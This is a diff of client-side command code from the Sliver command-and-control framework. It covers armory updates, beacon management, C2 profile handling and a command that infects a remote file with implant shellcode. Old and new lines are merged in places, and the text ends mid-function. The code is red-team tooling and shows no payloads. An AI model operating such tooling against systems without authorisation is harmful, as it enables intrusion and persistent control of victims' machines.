"github.com/bishopfox/sliver/util"
) )
type VersionInformation struct {
OldVersion string
NewVersion string
ArmoryName string
}
type PackageType uint
const (
AliasPackage PackageType = iota
ExtensionPackage
)
type UpdateIdentifier struct {
Type PackageType
Name string
}
// ArmoryUpdateCmd - Update all installed extensions/aliases // ArmoryUpdateCmd - Update all installed extensions/aliases
func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var selectedUpdates []UpdateIdentifier
var err error
con.PrintInfof("Refreshing package cache ... ") con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(cmd) clientConfig := parseArmoryHTTPConfig(cmd)
refresh(clientConfig) refresh(clientConfig)
con.Printf(console.Clearln + "\r") con.Printf(console.Clearln + "\r")
armoryName, err := cmd.Flags().GetString("armory") // Aliases
if err != nil { aliasUpdates := checkForAliasUpdates(clientConfig, con)
con.PrintErrorf("Could not parse %q flag: %s\n", "armory", err) if 0 < len(aliasUpdates) {
return con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
} for _, aliasName := range aliasUpdates {
err := installAliasPackageByName(aliasName, clientConfig, con)
// Find PK for the armory name if err != nil {
armoryPK := getArmoryPublicKey(armoryName) con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
}
// If the armory with the name is not found, print a warning
if cmd.Flags().Changed("armory") && armoryPK == "" {
con.PrintWarnf("Could not find a configured armory named %q - searching all configured armories\n\n", armoryName)
}
// Check packages for updates
aliasUpdates := checkForAliasUpdates(armoryPK)
extUpdates := checkForExtensionUpdates(armoryPK)
// Display a table of results
if len(aliasUpdates) > 0 || len(extUpdates) > 0 {
updateKeys := sortUpdateIdentifiers(aliasUpdates, extUpdates)
displayAvailableUpdates(con, updateKeys, aliasUpdates, extUpdates)
selectedUpdates, err = getUpdatesFromUser(con, updateKeys)
if err != nil {
con.PrintErrorf(err.Error() + "\n")
return
}
if len(selectedUpdates) == 0 {
return
} }
} else { } else {
con.PrintSuccessf("All packages are up to date") con.PrintInfof("All aliases up to date!\n")
return
} }
for _, update := range selectedUpdates { // Extensions
switch update.Type { extUpdates := checkForExtensionUpdates(clientConfig, con)
case AliasPackage: if 0 < len(extUpdates) {
aliasVersionInfo, ok := aliasUpdates[update.Name] con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
if !ok { for _, extName := range extUpdates {
continue err := installExtensionPackageByName(extName, clientConfig, con)
}
updatedPackage, err := getPackageForCommand(update.Name, armoryPK, aliasVersionInfo.NewVersion)
if err != nil { if err != nil {
con.PrintErrorf("Could not get update package for alias %s: %s\n", update.Name, err) con.PrintErrorf("Failed to update %s: %s\n", extName, err)
// Keep going because other packages might not encounter errors
continue
} }
err = installAliasPackage(updatedPackage, false, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", update.Name, err)
}
case ExtensionPackage:
extVersionInfo, ok := extUpdates[update.Name]
if !ok {
continue
}
updatedPackage, err := getPackageForCommand(update.Name, armoryPK, extVersionInfo.NewVersion)
if err != nil {
con.PrintErrorf("Could not get update package for extension %s: %s\n", update.Name, err)
continue
}
err = installExtensionPackage(updatedPackage, false, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", update.Name, err)
}
default:
continue
} }
} else {
con.PrintInfof("All extensions up to date!\n")
} }
} }
func checkForAliasUpdates(armoryPK string) map[string]VersionInformation { func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
cachedAliases, _ := packageManifestsInCache() cachedAliases, _ := packagesInCache()
results := make(map[string]VersionInformation) results := []string{}
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() { for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
data, err := os.ReadFile(aliasManifestPath) data, err := os.ReadFile(aliasManifestPath)
if err != nil { if err != nil {
@@ -150,31 +79,19 @@ func checkForAliasUpdates(armoryPK string) map[string]VersionInformation {
continue continue
} }
for _, latestAlias := range cachedAliases { for _, latestAlias := range cachedAliases {
/* // Right now we don't try to enforce any kind of versioning, it is assumed if the version from
We used to check if the version identifiers were different between the installed version and the // the armory differs at all from the local version, the extension is out of date.
version in the armory. This worked when we had one armory, but with multiple potential armories, if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
we have to have some type of versioning. We do not have an official versioning scheme for packages, results = append(results, localManifest.CommandName)
so we will rely on the author of the package incrementing the version identifier somehow to determine
if a package is newer.
*/
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version > localManifest.Version {
if latestAlias.ArmoryPK == armoryPK || armoryPK == "" {
results[localManifest.CommandName] = VersionInformation{
OldVersion: localManifest.Version,
NewVersion: latestAlias.Version,
ArmoryName: latestAlias.ArmoryName,
}
}
} }
} }
} }
return results return results
} }
func checkForExtensionUpdates(armoryPK string) map[string]VersionInformation { func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
_, cachedExtensions := packageManifestsInCache() _, cachedExtensions := packagesInCache()
// Return a map of extension name to minimum version to install results := []string{}
results := make(map[string]VersionInformation)
for _, extManifestPath := range assets.GetInstalledExtensionManifests() { for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
data, err := os.ReadFile(extManifestPath) data, err := os.ReadFile(extManifestPath)
if err != nil { if err != nil {
@@ -185,190 +102,13 @@ func checkForExtensionUpdates(armoryPK string) map[string]VersionInformation {
continue continue
} }
for _, latestExt := range cachedExtensions { for _, latestExt := range cachedExtensions {
/* // Right now we don't try to enforce any kind of versioning, it is assumed if the version from
We used to check if the version identifiers were different between the installed version and the // the armory differs at all from the local version, the extension is out of date.
version in the armory. This worked when we had one armory, but with multiple potential armories, if latestExt.Name == localManifest.Name && latestExt.Version != localManifest.Version {
we have to have some type of versioning. We do not have an official versioning scheme for packages, results = append(results, localManifest.Name)
so we will rely on the author of the package incrementing the version identifier somehow to determine
if a package is newer.
*/
if latestExt.Name == localManifest.Name && latestExt.Version > localManifest.Version {
if latestExt.ArmoryPK == armoryPK || armoryPK == "" {
results[localManifest.Name] = VersionInformation{
OldVersion: localManifest.Version,
NewVersion: latestExt.Version,
ArmoryName: latestExt.ArmoryName,
}
}
} }
} }
} }
return results return results
} }
func sortUpdateIdentifiers(aliasUpdates, extensionUpdates map[string]VersionInformation) []UpdateIdentifier {
/*
This function helps us keep updates straight when the user chooses from them. Just in case
an alias and an extension exist with the same name, we cannot simply combine the two maps.
We will assume that no two aliases and no two extensions have the same name.
*/
result := []UpdateIdentifier{}
aliasNames := util.Keys(aliasUpdates)
extensionNames := util.Keys(extensionUpdates)
for _, name := range aliasNames {
result = append(result, UpdateIdentifier{
Type: AliasPackage,
Name: name,
})
}
for _, name := range extensionNames {
result = append(result, UpdateIdentifier{
Type: ExtensionPackage,
Name: name,
})
}
sort.Slice(result, func(i, j int) bool {
return result[i].Name < result[j].Name
})
return result
}
func displayAvailableUpdates(con *console.SliverClient, updateKeys []UpdateIdentifier, aliasUpdates, extensionUpdates map[string]VersionInformation) {
var (
aliasSuffix string
extensionSuffix string
title string = "Available Updates (%d alias%s, %d extension%s)"
)
tw := table.NewWriter()
tw.SetAutoIndex(true)
tw.SetStyle(settings.GetTableStyle(con))
if len(aliasUpdates) != 1 {
aliasSuffix = "es"
}
if len(extensionUpdates) != 1 {
extensionSuffix = "s"
}
tw.SetTitle(console.Bold + fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix) + console.Normal)
tw.AppendHeader(table.Row{
"Package Name",
"Package Type",
"Installed Version",
"Available Version",
})
for _, key := range updateKeys {
var (
packageName string
packageType string
packageVersion VersionInformation
ok bool
)
switch key.Type {
case AliasPackage:
packageVersion, ok = aliasUpdates[key.Name]
if !ok {
continue
}
packageName = key.Name
packageType = "Alias"
case ExtensionPackage:
packageVersion, ok = extensionUpdates[key.Name]
if !ok {
continue
}
packageName = key.Name
packageType = "Extension"
default:
continue
}
tw.AppendRow(table.Row{
packageName,
packageType,
packageVersion.OldVersion,
fmt.Sprintf("%s (Armory: %s)", packageVersion.NewVersion, packageVersion.ArmoryName),
})
}
con.Printf("%s\n\n", tw.Render())
}
func getUpdatesFromUser(con *console.SliverClient, updateKeys []UpdateIdentifier) (chosenUpdates []UpdateIdentifier, selectionError error) {
chosenUpdates = []UpdateIdentifier{}
var updateResponse string
con.Println("You can apply all, none, or some updates.\nTo apply some updates, specify the number of a single update, a range (1-3), or a combination of the two (1, 3-5, 7)\n")
err := survey.AskOne(&survey.Input{
Message: "Which updates would you like to apply? [A]ll, [N]one, or some:",
}, &updateResponse)
if err != nil {
// We do not need to set selectionError because an error here means the same thing as responding with "none"
return
}
updateResponse = strings.ToLower(updateResponse)
updateResponse = strings.Replace(updateResponse, " ", "", -1)
if updateResponse == "n" || updateResponse == "none" {
return
}
if updateResponse == "a" || updateResponse == "all" {
chosenUpdates = updateKeys
return
}
selections := strings.Split(updateResponse, ",")
for _, selection := range selections {
// Handle a range
if strings.Contains(selection, "-") {
rangeParts := strings.Split(selection, "-")
start, err := strconv.Atoi(rangeParts[0])
if err != nil {
selectionError = fmt.Errorf("%s is not a valid range", rangeParts[0])
return
}
end, err := strconv.Atoi(rangeParts[1])
if err != nil {
selectionError = fmt.Errorf("%s is not a valid range", rangeParts[1])
return
}
// Adjust for the 0 indexed slice we are working with
start -= 1
end -= 1
if start < 0 {
start = 0
}
if start > end {
selectionError = fmt.Errorf("%s is not a valid range", selection)
return
}
if end >= len(updateKeys) {
end = len(updateKeys) - 1
}
for i := start; i <= end; i++ {
chosenUpdates = append(chosenUpdates, updateKeys[i])
}
} else {
// Single entry
index, err := strconv.Atoi(selection)
if err != nil {
selectionError = fmt.Errorf("%s is not a valid range", selection)
return
}
index -= 1
if index >= 0 && index < len(updateKeys) {
chosenUpdates = append(chosenUpdates, updateKeys[index])
}
}
}
return
}
+4 -3
View File
@@ -21,13 +21,14 @@ package backdoor
import ( import (
"fmt" "fmt"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
) )
// BackdoorCmd - Command to inject implant code into an existing binary. // BackdoorCmd - Command to inject implant code into an existing binary
func BackdoorCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func BackdoorCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive() session := con.ActiveTarget.GetSessionInteractive()
if session == nil { if session == nil {
return return
-38
View File
@@ -1,38 +0,0 @@
package backdoor
import (
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
backdoorCmd := &cobra.Command{
Use: consts.BackdoorStr,
Short: "Infect a remote file with a sliver shellcode",
Long: help.GetHelpFor([]string{consts.BackdoorStr}),
Args: cobra.ExactArgs(1),
GroupID: consts.ExecutionHelpGroup,
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
Run: func(cmd *cobra.Command, args []string) {
BackdoorCmd(cmd, con, args)
},
}
flags.Bind("", false, backdoorCmd, func(f *pflag.FlagSet) {
f.StringP("profile", "p", "", "profile to use for service binary")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
flags.BindFlagCompletions(backdoorCmd, func(comp *carapace.ActionMap) {
(*comp)["profile"] = generate.ProfileNameCompleter(con)
})
carapace.Gen(backdoorCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the remote file to backdoor"))
return []*cobra.Command{backdoorCmd}
}
+17 -53
View File
@@ -36,7 +36,7 @@ import (
) )
// BeaconsCmd - Display/interact with beacons // BeaconsCmd - Display/interact with beacons
func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
killFlag, _ := cmd.Flags().GetString("kill") killFlag, _ := cmd.Flags().GetString("kill")
killAll, _ := cmd.Flags().GetBool("kill-all") killAll, _ := cmd.Flags().GetBool("kill-all")
@@ -94,7 +94,7 @@ func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
// PrintBeacons - Display a list of beacons // PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) { func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
if len(beacons) == 0 { if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n") con.PrintInfof("No beacons 🙁\n")
return return
@@ -103,7 +103,7 @@ func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp
con.Printf("%s\n", tw.Render()) con.Printf("%s\n", tw.Render())
} }
func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) table.Writer { func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
width, _, err := term.GetSize(0) width, _, err := term.GetSize(0)
if err != nil { if err != nil {
width = 999 width = 999
@@ -112,45 +112,20 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width wideTermWidth := con.Settings.SmallTermWidth < width
windowsBeaconInList := false
for _, beacon := range beacons {
if beacon.OS == "windows" {
windowsBeaconInList = true
}
}
if wideTermWidth { if wideTermWidth {
if windowsBeaconInList { tw.AppendHeader(table.Row{
tw.AppendHeader(table.Row{ "ID",
"ID", "Name",
"Name", "Tasks",
"Tasks", "Transport",
"Transport", "Remote Address",
"Remote Address", "Hostname",
"Hostname", "Username",
"Username", "Operating System",
"Process (PID)", "Locale",
"Integrity", "Last Check-in",
"Operating System", "Next Check-in",
"Locale", })
"Last Check-in",
"Next Check-in",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Tasks",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Process (PID)",
"Operating System",
"Locale",
"Last Check-in",
"Next Check-in",
})
}
} else { } else {
tw.AppendHeader(table.Row{ tw.AppendHeader(table.Row{
"ID", "ID",
@@ -170,9 +145,6 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
if activeBeacon != nil && activeBeacon.ID == beacon.ID { if activeBeacon != nil && activeBeacon.ID == beacon.ID {
color = console.Green color = console.Green
} }
if beacon.Integrity == "" {
beacon.Integrity = "-"
}
// We need a slice of strings so we can apply filters // We need a slice of strings so we can apply filters
var rowEntries []string var rowEntries []string
@@ -186,19 +158,11 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress), fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname), fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")), fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s (%d)"+console.Normal, beacon.Filename, beacon.PID),
}
if windowsBeaconInList {
rowEntries = append(rowEntries, fmt.Sprintf(color+"%s"+console.Normal, beacon.Integrity))
}
rowEntries = append(rowEntries, []string{
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch), fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale), fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false), con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true), con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}...) }
} else { } else {
rowEntries = []string{ rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]), fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
-102
View File
@@ -1,102 +0,0 @@
package beacons
import (
"context"
"fmt"
"strings"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
beaconsCmd := &cobra.Command{
Use: consts.BeaconsStr,
Short: "Manage beacons",
Long: help.GetHelpFor([]string{consts.BeaconsStr}),
GroupID: consts.SliverHelpGroup,
Run: func(cmd *cobra.Command, args []string) {
BeaconsCmd(cmd, con, args)
},
}
flags.Bind("beacons", true, beaconsCmd, func(f *pflag.FlagSet) {
f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
flags.Bind("beacons", false, beaconsCmd, func(f *pflag.FlagSet) {
f.StringP("kill", "k", "", "kill the designated beacon")
f.BoolP("kill-all", "K", false, "kill all beacons")
f.BoolP("force", "F", false, "force killing the beacon")
f.StringP("filter", "f", "", "filter beacons by substring")
f.StringP("filter-re", "e", "", "filter beacons by regular expression")
})
flags.BindFlagCompletions(beaconsCmd, func(comp *carapace.ActionMap) {
(*comp)["kill"] = BeaconIDCompleter(con)
})
beaconsRmCmd := &cobra.Command{
Use: consts.RmStr,
Short: "Remove a beacon",
Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.RmStr}),
Run: func(cmd *cobra.Command, args []string) {
BeaconsRmCmd(cmd, con, args)
},
}
carapace.Gen(beaconsRmCmd).PositionalCompletion(BeaconIDCompleter(con))
beaconsCmd.AddCommand(beaconsRmCmd)
beaconsWatchCmd := &cobra.Command{
Use: consts.WatchStr,
Short: "Watch your beacons",
Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.WatchStr}),
Run: func(cmd *cobra.Command, args []string) {
BeaconsWatchCmd(cmd, con, args)
},
}
beaconsCmd.AddCommand(beaconsWatchCmd)
beaconsPruneCmd := &cobra.Command{
Use: consts.PruneStr,
Short: "Prune stale beacons automatically",
Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.PruneStr}),
Run: func(cmd *cobra.Command, args []string) {
BeaconsPruneCmd(cmd, con, args)
},
}
flags.Bind("beacons", false, beaconsPruneCmd, func(f *pflag.FlagSet) {
f.StringP("duration", "d", "1h", "duration to prune beacons that have missed their last checkin")
})
beaconsCmd.AddCommand(beaconsPruneCmd)
return []*cobra.Command{beaconsCmd}
}
// BeaconIDCompleter completes beacon IDs
func BeaconIDCompleter(con *console.SliverClient) carapace.Action {
callback := func(_ carapace.Context) carapace.Action {
results := make([]string, 0)
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err == nil {
for _, b := range beacons.Beacons {
link := fmt.Sprintf("[%s <- %s]", b.ActiveC2, b.RemoteAddress)
id := fmt.Sprintf("%s (%d)", b.Name, b.PID)
userHost := fmt.Sprintf("%s@%s", b.Username, b.Hostname)
desc := strings.Join([]string{id, userHost, link}, " ")
results = append(results, b.ID[:8])
results = append(results, desc)
}
}
return carapace.ActionValuesDescribed(results...).Tag("beacons")
}
return carapace.ActionCallback(callback)
}
+3 -3
View File
@@ -43,7 +43,7 @@ var (
) )
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions // SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
func SelectBeacon(con *console.SliverClient) (*clientpb.Beacon, error) { func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
grpcCtx, cancel := con.GrpcContext(nil) grpcCtx, cancel := con.GrpcContext(nil)
defer cancel() defer cancel()
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
@@ -102,7 +102,7 @@ func SelectBeacon(con *console.SliverClient) (*clientpb.Beacon, error) {
return nil, ErrNoSelection return nil, ErrNoSelection
} }
func GetBeacon(con *console.SliverClient, beaconID string) (*clientpb.Beacon, error) { func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
grpcCtx, cancel := con.GrpcContext(nil) grpcCtx, cancel := con.GrpcContext(nil)
defer cancel() defer cancel()
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
@@ -120,7 +120,7 @@ func GetBeacon(con *console.SliverClient, beaconID string) (*clientpb.Beacon, er
return nil, ErrBeaconNotFound return nil, ErrBeaconNotFound
} }
func GetBeacons(con *console.SliverClient) (*clientpb.Beacons, error) { func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
grpcCtx, cancel := con.GrpcContext(nil) grpcCtx, cancel := con.GrpcContext(nil)
defer cancel() defer cancel()
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
+1 -1
View File
@@ -30,7 +30,7 @@ import (
) )
// BeaconsPruneCmd - Prune stale beacons automatically // BeaconsPruneCmd - Prune stale beacons automatically
func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
duration, _ := cmd.Flags().GetString("duration") duration, _ := cmd.Flags().GetString("duration")
pruneDuration, err := time.ParseDuration(duration) pruneDuration, err := time.ParseDuration(duration)
if err != nil { if err != nil {
+1 -1
View File
@@ -25,7 +25,7 @@ import (
) )
// BeaconsRmCmd - Display/interact with beacons // BeaconsRmCmd - Display/interact with beacons
func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
beacon, err := SelectBeacon(con) beacon, err := SelectBeacon(con)
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
+1 -1
View File
@@ -31,7 +31,7 @@ import (
) )
// BeaconsWatchCmd - Watch your beacons in real-ish time // BeaconsWatchCmd - Watch your beacons in real-ish time
func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
done := waitForInput() done := waitForInput()
defer func() { defer func() {
con.Printf(console.UpN+console.Clearln+"\r", 1) con.Printf(console.UpN+console.Clearln+"\r", 1)
+6 -5
View File
@@ -23,16 +23,17 @@ import (
"fmt" "fmt"
"strings" "strings"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
) )
// BuildersCmd - List external builders. // BuildersCmd - List external builders
func BuildersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func BuildersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{}) builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
if err != nil { if err != nil {
con.PrintErrorf("%s", err) con.PrintErrorf("%s", err)
@@ -45,7 +46,7 @@ func BuildersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
} }
func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverClient) { func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{ tw.AppendHeader(table.Row{
-28
View File
@@ -1,28 +0,0 @@
package builders
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
buildersCmd := &cobra.Command{
Use: consts.BuildersStr,
Short: "List external builders",
Long: help.GetHelpFor([]string{consts.BuildersStr}),
Run: func(cmd *cobra.Command, args []string) {
BuildersCmd(cmd, con, args)
},
GroupID: consts.PayloadsHelpGroup,
}
flags.Bind("builders", false, buildersCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
return []*cobra.Command{buildersCmd}
}
+157 -333
View File
@@ -21,12 +21,8 @@ package c2profiles
import ( import (
"context" "context"
"encoding/json" "encoding/json"
"fmt"
"io" "io"
"net/url"
"os" "os"
"path"
"path/filepath"
"strings" "strings"
"github.com/AlecAivazis/survey/v2" "github.com/AlecAivazis/survey/v2"
@@ -43,7 +39,7 @@ import (
) )
// C2ProfileCmd list available http profiles // C2ProfileCmd list available http profiles
func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func C2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
profileName, _ := cmd.Flags().GetString("name") profileName, _ := cmd.Flags().GetString("name")
if profileName == constants.DefaultC2Profile { if profileName == constants.DefaultC2Profile {
@@ -65,7 +61,8 @@ func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
PrintC2Profiles(profile, con) PrintC2Profiles(profile, con)
} }
func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
protocols := []string{constants.HttpStr, constants.HttpsStr}
profileName, _ := cmd.Flags().GetString("name") profileName, _ := cmd.Flags().GetString("name")
if profileName == "" { if profileName == "" {
con.PrintErrorf("Invalid c2 profile name\n") con.PrintErrorf("Invalid c2 profile name\n")
@@ -101,212 +98,29 @@ func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
return return
} }
} confirm := false
prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { survey.AskOne(prompt, &confirm)
if confirm {
filepath, _ := cmd.Flags().GetString("file") var restartJobReq clientpb.RestartJobReq
if filepath == "" { jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
con.PrintErrorf("Missing file path\n")
return
}
profileName, _ := cmd.Flags().GetString("name")
if profileName == "" {
con.PrintErrorf("Invalid c2 profile name\n")
return
}
if profileName == constants.DefaultC2Profile {
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
return
}
if len(httpC2Profiles.Configs) != 1 {
profileName = selectC2Profile(httpC2Profiles.Configs)
}
}
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
config, err := C2ConfigToJSON(profileName, profile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
jsonProfile, err := json.Marshal(config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = os.WriteFile(filepath, jsonProfile, 0644)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Println(profileName, "C2 profile exported to ", filepath)
}
func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
// load template to use as starting point
template, err := cmd.Flags().GetString("template")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
profileName, _ := cmd.Flags().GetString("name")
if profileName == "" {
con.PrintErrorf("Invalid c2 profile name\n")
return
}
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: template})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
config, err := C2ConfigToJSON(profileName, profile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// read urls files and replace segments
filepath, err := cmd.Flags().GetString("file")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
urlsFile, err := os.Open(filepath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fileContent, err := io.ReadAll(urlsFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
urls := strings.Split(string(fileContent), "\n")
jsonProfile, err := updateC2Profile(config, urls)
if err != nil {
